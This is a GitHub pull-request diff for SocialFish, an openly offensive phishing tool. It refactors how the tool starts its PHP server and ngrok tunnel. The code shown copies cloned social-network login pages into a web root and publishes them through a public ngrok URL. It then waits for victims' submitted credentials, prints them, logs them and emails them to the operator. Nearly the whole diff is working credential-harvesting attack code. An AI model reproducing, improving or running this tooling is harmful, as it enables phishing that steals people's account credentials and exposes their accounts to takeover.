Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Using context manager to control external processes #55

Merged
merged 7 commits into from
Aug 6, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 1 addition & 7 deletions SocialFish.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,16 +90,10 @@ def main():

if __name__ == "__main__":
try:
system('pkill -f ngrok')
system('pkill -f php')
pre()
main()
runNgrok()
Process(target=runServer).start()
waitCreds()
PhishingServer()
except KeyboardInterrupt:
system('pkill -f ngrok')
system('pkill -f php')
end()
exit(0)

65 changes: 47 additions & 18 deletions core/phishingRunner.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,21 +10,25 @@
# #
######################################################

from os import system
from contextlib import contextmanager
import json
import multiprocessing
import requests
import os
from time import sleep
from huepy import *
from subprocess import getoutput
import subprocess
from core.email import send_mail
from core.credentials import credentials
from smtplib import SMTPSenderRefused, SMTPServerDisconnected
from time import strftime

def runPhishing(social, custom):
global _social
_social = social
system('rm -Rf base/Server/www/*.* && touch base/Server/www/cat.txt')
os.system('rm -Rf base/Server/www/*.* && touch base/Server/www/cat.txt')
command = 'cp base/WebPages/%s/*.* base/Server/www/' % social.lower()
system(command)
os.system(command)
with open('base/Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUST0M>', custom)
Expand All @@ -39,7 +43,7 @@ def waitCreds():
lines = creds.read().rstrip()
if len(lines) != 0:
print(green('\n [*] Credentials found:\n %s' % lines))
system('rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt')
os.system('rm -rf base/Server/www/cat.txt && touch base/Server/www/cat.txt')
try:
credentials(lines.split('\n'), _social)
send_mail(lines.split('\n'),_social)
Expand All @@ -51,16 +55,41 @@ def waitCreds():
except SMTPServerDisconnected:
pass

def runNgrok():
system('./base/Server/ngrok http 1449 > /dev/null &')
ngrok_url = ''
check = 'curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh'
sleep(5)
while ngrok_url == '':
ngrok_url = getoutput(check)
print(lightgreen('\n [*] Ngrok URL: %s' % ngrok_url))
print(green(' [*] Your logs are being stored in: Logs/{}').format(_social + strftime('-%y%m%d.txt')))
print(yellow(' [^] Press Ctrl+C or VolDown+C(android) to quit'))
@contextmanager
def runServer(port: int):
def php_process():
os.system("cd base/Server/www/ && php -n -S 127.0.0.1:%d > /dev/null 2>&1 &" % port)
php_process = multiprocessing.Process(target=php_process)
php_process.start()
yield php_process
php_process.terminate()
php_process.close()

@contextmanager
def ngrok_start(port: int):
ngrok_process = subprocess.Popen(
['./base/Server/ngrok','http','%s' % port],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE
)
while True:
try:
ngrok_url = requests.get(
'http://127.0.0.1:4040/api/tunnels/command_line'
)
if ngrok_url.status_code == 200:
public_url = json.loads(ngrok_url.text)['public_url']
print(green('\n [*] Ngrok URL: %s' % public_url))
print(
yellow(' [^] Press Ctrl+C or VolDown+C(android) to quit')
)
yield public_url
break
except requests.exceptions.ConnectionError:
sleep(.5)
os.kill(ngrok_process.pid, 15)

def runServer():
system("cd base/Server/www/ && php -n -S 127.0.0.1:1449 > /dev/null 2>&1 &")
def PhishingServer(port: int=1449):
with ngrok_start(port) as ngrok:
with runServer(port) as php:
waitCreds()